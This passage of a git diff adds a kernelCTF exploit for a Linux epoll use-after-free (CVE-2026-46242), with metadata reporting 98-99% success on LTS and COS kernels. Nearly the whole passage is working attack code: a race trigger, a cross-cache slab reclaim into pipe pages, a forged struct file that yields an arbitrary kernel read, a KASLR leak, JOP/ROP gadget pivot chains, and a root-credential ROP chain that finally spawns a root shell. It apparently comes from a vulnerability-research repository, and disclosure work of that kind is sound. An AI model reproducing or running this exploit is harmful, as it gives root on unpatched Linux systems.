SLAB_NUM_ENCLOSING_OBJS(FILE_SIZE); i++) + cross_cache_enclosing_objs[i] = open("/dev/null", O_RDONLY); + + /* Won iff the UAF write corrupted ep_uaf_target's refs list. */ + if (race_win_oracle(ep_uaf_target)) + break; + + // miss: close every enclosing obj (incl. ep_uaf_target) and retry + for (int j = 0; j < SLAB_NUM_ENCLOSING_OBJS(FILE_SIZE); j++) + close(cross_cache_enclosing_objs[j]); + + /* The race retries for up to EXPLOIT_DURATION_NS (kernelctf rule)*/ + if (mono_ns() > time_exploit_deadline) { + printf("[-] giving up: %d s deadline reached (race_retries=%d cc_retries=%d)\n", + EXPLOIT_DURATION_SEC, race_retries, cross_cache_retries); + exit(1); + } + } + printf("[+] race won: retries=%d launch=%d cc_retries=%d\n", + race_retries, log_launch_ahead, cross_cache_retries); + + /* @step(name="Cross-Cache Attack") + * Free the victim file and the rest of its filp slab page, drain the + * page to the buddy allocator, then reclaim it as pipe_buffer pages we + * control. */ + close(ep_uaf_target); /* free the victim file (and its eventpoll) */ + for (int j = 0; j < SLAB_NUM_ENCLOSING_OBJS(FILE_SIZE); j++) + if (cross_cache_enclosing_objs[j] != ep_uaf_target) + close(cross_cache_enclosing_objs[j]); + for (int j = 0; j < SLAB_NUM_POP_CPU_OBJS(FILE_SIZE); j += SLAB_OBJ_PER_SLAB(FILE_SIZE)) { + close(cross_cache_cpu_partial_objs[j]); + cross_cache_cpu_partial_objs[j] = -1; + } + + printf("[*] cross-cache...\n"); + /* Wait for the freed filp slab page to reach the buddy allocator, then + * reclaim it as pipe pages. The two targets free the page differently: + * - lts: filp is SLAB_TYPESAFE_BY_RCU, so the empty slab page is freed + * by a single rcu_free_slab callback -> one short wait, then reclaim + * all NUM_RECLAIM pages at once. + * - cos: each file is freed by its own call_rcu(file_free_rcu), so the + * page only frees after a whole batch of callbacks -> later & more + * variable. Spread the NUM_RECLAIM pages across ~1s to raise the + * chance to reclaim the target page that the dangling file ptr points to. */ +#if defined(TARGET_COS) + u64 per_page_usleep = CROSS_CACHE_DRAIN_TOTAL_US / CROSS_CACHE_NUM_RECLAIM_PAGE; + for (int j = 0; j < CROSS_CACHE_NUM_RECLAIM_PAGE; j++) { + usleep(per_page_usleep); + write(cross_cache_pipefd[1], cross_cache_reclaim_buf, PAGE_SIZE); + } +#else + /* @sleep(kernel_func="rcu_free_slab", + * desc="wait for rcu_free_slab to run in softirq context and + * drain the freed filp slab page to the buddy allocator + * before we grab it as pipe_buffer pages") */ + usleep(CROSS_CACHE_DRAIN_US); + for (int j = 0; j < CROSS_CACHE_NUM_RECLAIM_PAGE; j++) + write(cross_cache_pipefd[1], cross_cache_reclaim_buf, PAGE_SIZE); +#endif + + /* @step(name="Constrained AAR") + * Cross-cache verify: on a win, init_task->comm reads "swapper". If not, + * the cross-cache missed, so restart from the cross-cache setup. */ + char path[64]; + snprintf(path, sizeof(path), "/proc/self/fdinfo/%d", ep_uaf_waiter); + fdinfo_fd = SYSCHK(open(path, O_RDONLY)); + + u64 comm_val = leak_constrained_aar_8b(kernel_base + offsets.init_task + offsets.ts_comm); + char comm[16] = {0}; + memcpy(comm, &comm_val, sizeof(comm_val)); + if (strncmp(comm, "swapper", 7) == 0) { + printf("[+] cross-cache ok (init_task.comm=swapper)\n"); + break; + } + printf("[-] cross-cache miss (init_task.comm=%s cc_retries=%d)\n", + comm, cross_cache_retries); + + /* Missed: drain the pipe, release everything grabbed this attempt, + * and retry the whole race + reclaim. */ + for (int j = 0; j < CROSS_CACHE_NUM_RECLAIM_PAGE; j++) + read(cross_cache_pipefd[0], cross_cache_reclaim_buf, PAGE_SIZE); + printf("[*] retrying cross-cache attack...\n"); + for (int j = 0; j < SLAB_NUM_POP_CPU_OBJS(FILE_SIZE); j++) + if (cross_cache_cpu_partial_objs[j] != -1) + close(cross_cache_cpu_partial_objs[j]); + close(fdinfo_fd); + /* To avoid panic on cross-cache retry, do not close ep_uaf_waiter. + * On a cross-cache retry, we will re-open ep_uaf_waiter. + */ + // close(ep_uaf_waiter); + } + free(cross_cache_cpu_partial_objs); + free(cross_cache_enclosing_objs); + return ep_uaf_waiter; +} + +/* --vuln-trigger mode. KASAN reproducer: drive the same race so hlist_del_rcu() + * writes into poisoned freed memory and KASAN reports the UAF. */ +static void vuln_trigger_only(int max_attempts) +{ + race_setup(); + + pthread_t racer_thread; + if (pthread_create(&racer_thread, NULL, race_close_thread, NULL)) + errx(1, "pthread_create"); + + pin_cpu(1); + + for (int n = 0; n < max_attempts; n++) { + sched_yield(); + + ep_race_waiter = SYSCHK(epoll_create1(0)); + int ep_race_target = SYSCHK(epoll_create1(0)); + SYSCHK(epoll_ctl(ep_race_waiter, EPOLL_CTL_ADD, ep_race_target, &ev)); + + race_ready_main = 1; + while (!race_ready_thread) + sched_yield(); + race_ready_thread = 0; + + // same strategy as vuln_trigger_and_cross_cache + u64 current_time = mono_ns(); + for (int j = 0; j < RACE_DUP_CLOSE_ITERS; j++) + close(dup(ep_race_target)); + time_false_sharing = mono_ns() - current_time; + DBG("[*] dup+close delay: %lu ns\n", (unsigned long)time_false_sharing); + + SYSCHK(close(ep_race_target)); // [*] race pair + /* + * The vuln-trigger kernel already includes the CVE-2026-43074 fix (07712db8), + * so reclaim the freed file_race_target as a non-eventpoll file to expose an + * invalid free. + */ + int reclaim_fd = SYSCHK(open("/dev/null", O_RDONLY)); + + while (!race_done) + sched_yield(); + race_done = 0; + close(reclaim_fd); + } + printf("[*] --vuln-trigger: %d attempts done\n", + max_attempts); +} + +/* ===================================================================== + * Fake objects + * ===================================================================== */ + +/* Tile a forged struct file across a page at sizeof(struct file) stride, so + * the dangling epi->ffd.file lands on a well-formed slot wherever it points, + * and push it through the cross-cache pipe. Only f_count / f_op / f_inode + * matter; the rest is zero. */ +static void fake_file_spray(u64 f_count, u64 f_op, u64 f_inode) +{ + char page_buf[PAGE_SIZE] = {}; + for (size_t off = 0; off + offsets.file_size <= PAGE_SIZE; off += offsets.file_size) { + u64 *slot = (u64 *)(page_buf + off); + slot[offsets.file_f_count / 8] = f_count; + slot[offsets.file_f_op / 8] = f_op; + slot[offsets.file_f_inode / 8] = f_inode; + } + + char tmp_buf[PAGE_SIZE]; + for (int i = 0; i < CROSS_CACHE_NUM_RECLAIM_PAGE; i++) { + read(cross_cache_pipefd[0], tmp_buf, PAGE_SIZE); + write(cross_cache_pipefd[1], page_buf, PAGE_SIZE); + } +} + +/* ===================================================================== + * fdinfo-based arbitrary read. Reading /proc/self/fdinfo/ walks + * epi->ffd.file->f_inode and prints "ino: sdev:s_dev>"; + * forging f_inode turns each field into an arbitrary read. + * ===================================================================== */ +/* 8-byte read via "ino:": f_inode = addr - i_ino, so i_ino == *addr. */ +static u64 leak_constrained_aar_8b(u64 addr) +{ + fake_file_spray(NOT_USED, NOT_USED, addr - offsets.inode_i_ino); + + char out_buf[1024] = {0}; + pread(fdinfo_fd, out_buf, sizeof(out_buf), 0); + return parse_hex_after_needle(out_buf, "ino:"); +} + +/* 4-byte read via "sdev:". Needs a fake file already sprayed with + * f_inode = ¤t->sas_ss_sp - i_sb (see leak_resolve_rop_page); + * sigaltstack() writes addr-0x10 into sas_ss_sp, so s_dev == *addr. */ +static u32 leak_aar_4b(u64 addr) +{ + stack_t alt_stack = {}; + alt_stack.ss_sp = (void *)(addr - 0x10); /* s_dev sits 0x10 into super_block */ + alt_stack.ss_flags = 0; + alt_stack.ss_size = 0x1000; + if (sigaltstack(&alt_stack, NULL) == -1) + perror("sigaltstack"); + + char out_buf[1024] = {0}; + pread(fdinfo_fd, out_buf, sizeof(out_buf), 0); + return parse_hex_after_needle(out_buf, "sdev:"); +} + +static u64 leak_aar(u64 addr) +{ + return ((u64)leak_aar_4b(addr + 4) << 32) | leak_aar_4b(addr); +} + +/* DFS over init_task's descendants for the task whose ->comm == name. + * depth bounds runaway recursion if the AAR returns garbage. */ +#define MAX_TASK_DFS_DEPTH 64 +static u64 leak_find_task_by_comm(u64 task, const char *name, int depth = 0) +{ + if (depth > MAX_TASK_DFS_DEPTH) + return 0; + + u64 comm_val = leak_constrained_aar_8b(task + offsets.ts_comm); + char comm[16] = {0}; + memcpy(comm, &comm_val, sizeof(comm_val)); + if (strcmp(comm, name) == 0) + return task; + + u64 end_of_list = task + offsets.ts_children_next; + u64 pos = leak_constrained_aar_8b(task + offsets.ts_children_prev); + while (pos != end_of_list) { + u64 child = pos - offsets.ts_sibling_next; + u64 hit = leak_find_task_by_comm(child, name, depth + 1); + if (hit) + return hit; + pos = leak_constrained_aar_8b(child + offsets.ts_sibling_prev); + } + return 0; +} + +static u64 page_to_virt(u64 page) +{ + u64 pfn = (page - vmemmap_base) / 64; /* sizeof(struct page) == 64 */ + return page_offset_base + pfn * PAGE_SIZE; +} + +/* @step(name="AAR") + * + * Walk current->files->fdt->fd[rop_pipe]->private_data->bufs[0].page and + * translate it to a kernel-virtual address. That page backs rop_pipe, so + * writing the pipe writes our pivot/ROP page at a known kernel address. */ +static u64 leak_resolve_rop_page(int ep_uaf_waiter, int rop_pipe_rfd) +{ + /* fdinfo_fd is already open and verified by vuln_trigger_and_cross_cache(); + * ep_uaf_waiter is kept only to document which waiter backs the AAR. */ + (void)ep_uaf_waiter; + + printf("[*] AAR: find task (comm=%s)...\n", EXP_COMM); + u64 task = leak_find_task_by_comm(kernel_base + offsets.init_task, EXP_COMM); + if (!task) + errx(1, "[-] task not found (comm=%s)", EXP_COMM); + printf("[+] task=%llx\n", task); + + /* Switch the AAR to the sas_ss_sp-cursor mode used by leak_aar_4b. */ + fake_file_spray(NOT_USED, NOT_USED, (task + offsets.ts_ss_sp) - offsets.inode_i_sb); + + u64 files = leak_aar(task + offsets.ts_files); + u64 fdt = leak_aar(files + offsets.files_fdt); + u64 fd_array = leak_aar(fdt + offsets.fdtable_fd); + u64 file = leak_aar(fd_array + (u64)rop_pipe_rfd * 8); + u64 pipe_info = leak_aar(file + offsets.file_private_data); + u64 bufs = leak_aar(pipe_info + offsets.pii_bufs); + u64 page = leak_aar(bufs + offsets.pb_page); + printf("[+] files=%llx fdt=%llx fd_array=%llx\n", files, fdt, fd_array); + printf("[+] file=%llx pipe=%llx bufs=%llx page=%llx\n", file, pipe_info, bufs, page); + + vmemmap_base = leak_aar(kernel_base + offsets.vmemmap_base); + page_offset_base = leak_aar(kernel_base + offsets.page_offset_base); + printf("[+] vmemmap_base=%llx page_offset_base=%llx\n", vmemmap_base, page_offset_base); + + u64 virt = page_to_virt(page); + printf("[+] rop_page virt=%llx\n", virt); + return virt; +} + +/* ===================================================================== + * ROP / RIP control + * ===================================================================== */ + +/* Userland re-entry point reached via Ret2Usr with root creds. */ +static void rip_post_exploit(void) +{ + puts("Win"); + fflush(stdout); + const char *bash[] = { "bash", NULL }; + execve("/bin/bash", (char **)bash, NULL); + _exit(0); +} + +/* Post-pivot kernel ROP chain, entirely from libxdk: creds -> namespaces + * -> ret2usr. */ +static std::vector rop_build_privesc(Target &target) +{ + RopChain rop(target, kernel_base); + rop.AddRopAction(RopActionId::COMMIT_INIT_TASK_CREDS); + rop.AddRopAction(RopActionId::SWITCH_TASK_NAMESPACES, {1}); + RopUtils::Ret2Usr(rop, (void *)rip_post_exploit); + return rop.GetDataWords(); +} + +/* ===================================================================== + * @step(name="RIP Control and ROP") + * + * epoll_wait()'s vfs_poll() calls file->f_op->poll (at FILE_OPERATIONS_OFFS_POLL). + * The forged file has f_op=virt and f_count=virt-1, which coerces rdx==virt at + * the call (epi_fget() raised f_count by one in ep_item_poll), so the poll + * pointer enters a target-specific JOP that pivots rsp onto the libxdk privesc + * ROP chain parked in the same controlled page. + */ +#if defined(TARGET_COS) +// 0xb106ee: mov rax,[rdx+0x320] ; mov rdi,rdx ; jmp rax +#define PIVOT1 0xb106ee +// 0x4d43ab: push rdi ; pop rsp ; ret +#define PIVOT2 0x4d43ab +// 0x4d5efe: pop rdi ; ret +#define POP_RDI_RET 0x4d5efe +#define POP_RET (POP_RDI_RET + 1) + +/* cos: 2-gadget JOP + ret-slide. f_op->poll lands on PIVOT1 with rdx==virt; it + * reads [rdx+ADDR_PIVOT2] for PIVOT2 (push rdi; pop rsp), landing rsp on page[0]. + * page[0..] is a ret-slide that skips the poll fptr and falls + * through into the ROP chain. + * + * ROP helper constant: + * ADDR_PIVOT2 : page offset PIVOT1 reads ([rdx+0x320]); where PIVOT2 is parked */ +#define ADDR_PIVOT2 0x320 +#else /* lts (default): 4-gadget JOP */ +// 0x1197369: mov rax,[rdx+0x38] ; mov [rsp+0x20],rdx ; mov rdi,rdx ; mov rax,[rax] ; call rax +#define PIVOT1 0x1197369 +// 0x131c78f: mov rax,[rdi] ; mov rbx,rdi ; mov r13,[rdi+0x18] ; mov r12,[rdi+0x8] ; mov rax,[rax+0x148] ; call rax +#define PIVOT2 0x131c78f +// 0x17a7759: mov rax,[rdi+0x70] ; mov rcx,[rdi+0xb8] ; mov rdx,[rdi+0x80] ; mov rax,[rax+0x10] ; mov rdi,rcx ; jmp rax +#define PIVOT3 0x17a7759 +// 0xa281a6: push [rcx] ; rcr byte [rbx+0x5d],0x41 ; pop rsp ; ret +#define PIVOT4 0xa281a6 +/* The forged poll pointer enters PIVOT1; the chain walks PIVOT1->2->3->4 and + * lands rsp on the ROP chain at ADDR_ROP. PIVOT1 runs with rdx == virt, PIVOT2 + * sets rbx, PIVOT3 sets rcx, and PIVOT4 (push [rcx] -> pop rsp -> ret) pivots + * rsp onto the ROP chain. Each gadget reads a fixed offset in the controlled + * page, so we park each next stage at a chosen address and wire those offsets. + * (Gadget disassembly is next to each PIVOTn #define above.) + * + * ROP helper constants: + * P*_*_OFFSET : gadget-FIXED offset the gadget dereferences + * P*_RAX_ADJUST : inner-deref delta we pre-subtract from a chosen address + * ADDR_* : page addresses we chose to park each stage */ +#define P1_RDX_OFFSET 0x38 +#define P2_RDI_OFFSET 0x00 +#define P3_RAX_RDI_OFFSET 0x70 +#define P3_RCX_RDI_OFFSET 0xb8 + +#define P2_RAX_ADJUST 0x148 +#define P3_RAX_ADJUST 0x10 + +#define ADDR_PIVOT2 0x200 +#define ADDR_PIVOT3 0x300 +#define ADDR_PIVOT4 0x400 +#define ADDR_RSP_SRC 0x500 +#define ADDR_ROP 0x600 + +#endif /* pivot style */ +static void rip_pivot_and_fire(Target &target, int ep_uaf_waiter, + u64 virt, int rop_pipe[2]) +{ + std::vector kernel_rop = rop_build_privesc(target); + + /* Spray the fake struct file that hijacks control flow at file->f_op->poll(): + * f_op = virt [virt + fop_poll] holds the first pivot gadget + * is_file_epoll(file) is false, so vfs_poll() runs + * f_count = virt - 1 at the hijack, rdx holds file->f_count + 1 (epi_fget() + * increased the refcount on ep_item_poll), so f_count = + * virt - 1 lets us enter the pivot with rdx == virt. + */ + fake_file_spray(virt - 1, virt, NOT_USED); + + /* Read out the placeholder page, then write the real pivot+ROP. */ + char scratch_buf[PAGE_SIZE]; + read(rop_pipe[0], scratch_buf, PAGE_SIZE); + + Payload page(PAGE_SIZE); + +#if defined(TARGET_COS) + /* cos 2-gadget JOP + ret-slide. */ + const size_t poll_idx = offsets.fop_poll / 8; /* f_op->poll slot */ + const size_t pivot2_idx = ADDR_PIVOT2 / 8; /* slot holding PIVOT2 */ + + /* Ret-slide over page[0 .. poll_idx-1]: ret-slide on [0 .. poll_idx-2], then + * pop rdi;ret at poll_idx-1 that skips PIVOT1 at poll_idx. Any pop XXX;ret gadget works. + */ + for (size_t i = 0; i < poll_idx - 1; i++) + page.SetU64(i * 8, kernel_base + POP_RET); + page.SetU64((poll_idx - 1) * 8, kernel_base + POP_RDI_RET); + + /* f_op->poll() hijack -> PIVOT1 (rdx==virt); PIVOT1 reads [rdx+ADDR_PIVOT2] + * -> PIVOT2 (push rdi; pop rsp), pivoting rsp to page[0] (= virt). */ + page.SetU64(offsets.fop_poll, kernel_base + PIVOT1); + page.SetU64(ADDR_PIVOT2, kernel_base + PIVOT2); + + /* Privesc ROP runs contiguously from poll_idx+1, staying before ADDR_PIVOT2. */ + size_t rop_idx = poll_idx + 1; + if (rop_idx + kernel_rop.size() > pivot2_idx) + errx(1, "ROP chain collides with PIVOT2 slot (%zu words)", kernel_rop.size()); + for (size_t i = 0; i < kernel_rop.size(); i++) + page.SetU64((rop_idx + i) * 8, kernel_rop[i]); +#else + /* f_op->poll(): control-flow hijack lands on PIVOT1. */ + page.SetU64(offsets.fop_poll, kernel_base + PIVOT1); + + /* PIVOT1; rdx = `virt` + * mov rax,[rdx+0x38] -> mov rdi,rdx -> mov rax,[rax] -> call rax */ + page.SetU64(P1_RDX_OFFSET, virt + ADDR_PIVOT2); + page.SetU64(ADDR_PIVOT2, kernel_base + PIVOT2); + + /* PIVOT2; rdi = `virt` + * mov rax,[rdi] -> mov rbx,rdi -> mov rax,[rax+0x148] -> call rax */ + page.SetU64(P2_RDI_OFFSET, virt + ADDR_PIVOT3 - P2_RAX_ADJUST); + page.SetU64(ADDR_PIVOT3, kernel_base + PIVOT3); + + /* PIVOT3; rdi = `virt`, rbx = `virt` + * mov rax,[rdi+0x70] -> mov rcx,[rdi+0xb8] -> mov rax,[rax+0x10] -> jmp rax */ + page.SetU64(P3_RAX_RDI_OFFSET, virt + ADDR_PIVOT4 - P3_RAX_ADJUST); + page.SetU64(P3_RCX_RDI_OFFSET, virt + ADDR_RSP_SRC); + + /* PIVOT4; rbx = `virt`, rcx = `virt` + ADDR_RSP_SRC + * push [rcx] -> rcr byte [rbx+0x5d],0x41 -> pop rsp -> ret */ + page.SetU64(ADDR_PIVOT4, kernel_base + PIVOT4); + page.SetU64(ADDR_RSP_SRC, virt + ADDR_ROP); + + if (ADDR_ROP + kernel_rop.size() * 8 > PAGE_SIZE) + errx(1, "ROP chain too large (%zu words)", kernel_rop.size()); + for (size_t i = 0; i < kernel_rop.size(); i++) + page.SetU64(ADDR_ROP + i * 8, kernel_rop[i]); +#endif + + auto bytes = page.GetUsedData(); + write(rop_pipe[1], bytes.data(), bytes.size()); + + /* Fire: epoll_wait walks the dangling waiter -> vfs_poll -> our f_op. On + * success rip_post_exploit() execve()s a shell and never returns here. */ + printf("[*] RIP: fire f_op->poll hijack (virt=%llx)...\n", virt); + epoll_wait(ep_uaf_waiter, NULL, 1, 1000); +} + +// Print the CPU model and clock MHz +static void print_env(void) +{ + FILE *fp = fopen("/proc/cpuinfo", "r"); + printf("X\n"); + if (!fp) + return; + char line[512]; + bool got_model = false, got_mhz = false; + while (fgets(line, sizeof(line), fp) && !(got_model && got_mhz)) { + char *colon = strchr(line, ':'); + if (!colon) + continue; + colon[strcspn(colon, "\n")] = '\0'; + if (!got_model && strncmp(line, "model name", 10) == 0) { + printf("[env] cpu model:%s\n", colon + 1); + got_model = true; + } else if (!got_mhz && strncmp(line, "cpu MHz", 7) == 0) { + printf("[env] cpuinfo MHz:%s\n", colon + 1); + got_mhz = true; + } + } + fclose(fp); + fflush(stdout); +} + +/* ===================================================================== + * main + * ===================================================================== */ +int main(int argc, char **argv) +{ + time_exploit_deadline = mono_ns() + EXPLOIT_DURATION_NS; /* 5-min wall-clock budget */ + print_env(); + setvbuf(stdout, NULL, _IONBF, 0); + setvbuf(stderr, NULL, _IONBF, 0); + + bool vuln_trigger = false; + for (int i = 1; i < argc; i++) + if (strcmp(argv[i], "--vuln-trigger") == 0) + vuln_trigger = true; + + if (vuln_trigger) { + printf("[*] --vuln-trigger: race until KASAN...\n"); + vuln_trigger_only(/*max_attempts=*/100000); + return 0; + } + + TargetDb kxdb("target_db.kxdb", target_db); + Target target = kxdb.AutoDetectTarget(); + printf("[+] target: %s %s\n", + target.GetDistro().c_str(), target.GetReleaseName().c_str()); + + /* @step(name="KASLR Leak"): libxdk prefetch side-channel leak. */ + printf("[*] KASLR leak...\n"); + uint64_t window_size = target.GetKernelPageCount(); + kernel_base = check_kaslr_base(leak_kaslr_base(window_size)); + printf("[+] kernel_base=%llx\n", kernel_base); + + setup_augment_target(target); + cache_offsets(target); + + prctl(PR_SET_NAME, EXP_COMM); + race_setup(); + printf("[+] race setup done\n"); + int ep_uaf_waiter = vuln_trigger_and_cross_cache(); + + /* Pipe whose backing page we forge the pivot/ROP into. The initial write + * is required: it allocates the pipe_buffer's backing page so + * leak_resolve_rop_page() can resolve its kernel address (virt). + */ + int rop_pipe[2]; + if (pipe(rop_pipe) == -1) + err(1, "pipe"); + char filler_buf[PAGE_SIZE]; + memset(filler_buf, 'P', sizeof(filler_buf)); + write(rop_pipe[1], filler_buf, sizeof(filler_buf)); + + u64 virt = leak_resolve_rop_page(ep_uaf_waiter, rop_pipe[0]); + rip_pivot_and_fire(target, ep_uaf_waiter, virt, rop_pipe); + + /* Reached only if the hijack failed; the success path execve()s a shell. */ + printf("[-] exploit failed\n"); + return 1; +} diff --git a/pocs/linux/kernelctf/CVE-2026-46242_lts_cos/metadata.json b/pocs/linux/kernelctf/CVE-2026-46242_lts_cos/metadata.json new file mode 100644 index 000000000..6302ba546 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-46242_lts_cos/metadata.json @@ -0,0 +1,28 @@ +{ + "$schema": "https://google.github.io/security-research/kernelctf/metadata.schema.v3.json", + "submission_ids": ["exp448"], + "vulnerability": { + "cve": "CVE-2026-46242", + "patch_commit": "https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=a6dc643c69311677c574a0f17a3f4d66a5f3744b", + "affected_versions": ["6.4-rc1 - 7.0"], + "requirements": { + "attack_surface": [], + "capabilities": [], + "kernel_config": [ + "CONFIG_EPOLL" + ] + } + }, + "exploits": { + "lts-6.12.67": { + "uses": [], + "requires_separate_kaslr_leak": false, + "stability_notes": "99% success rate" + }, + "cos-121-18867.294.100": { + "uses": [], + "requires_separate_kaslr_leak": false, + "stability_notes": "98% success rate" + } + } +} \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2026-46242_lts_cos/original.tar.gz b/pocs/linux/kernelctf/CVE-2026-46242_lts_cos/original.tar.gz new file mode 100644 index 000000000..8fbb03484 Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2026-46242_lts_cos/original.tar.gz differ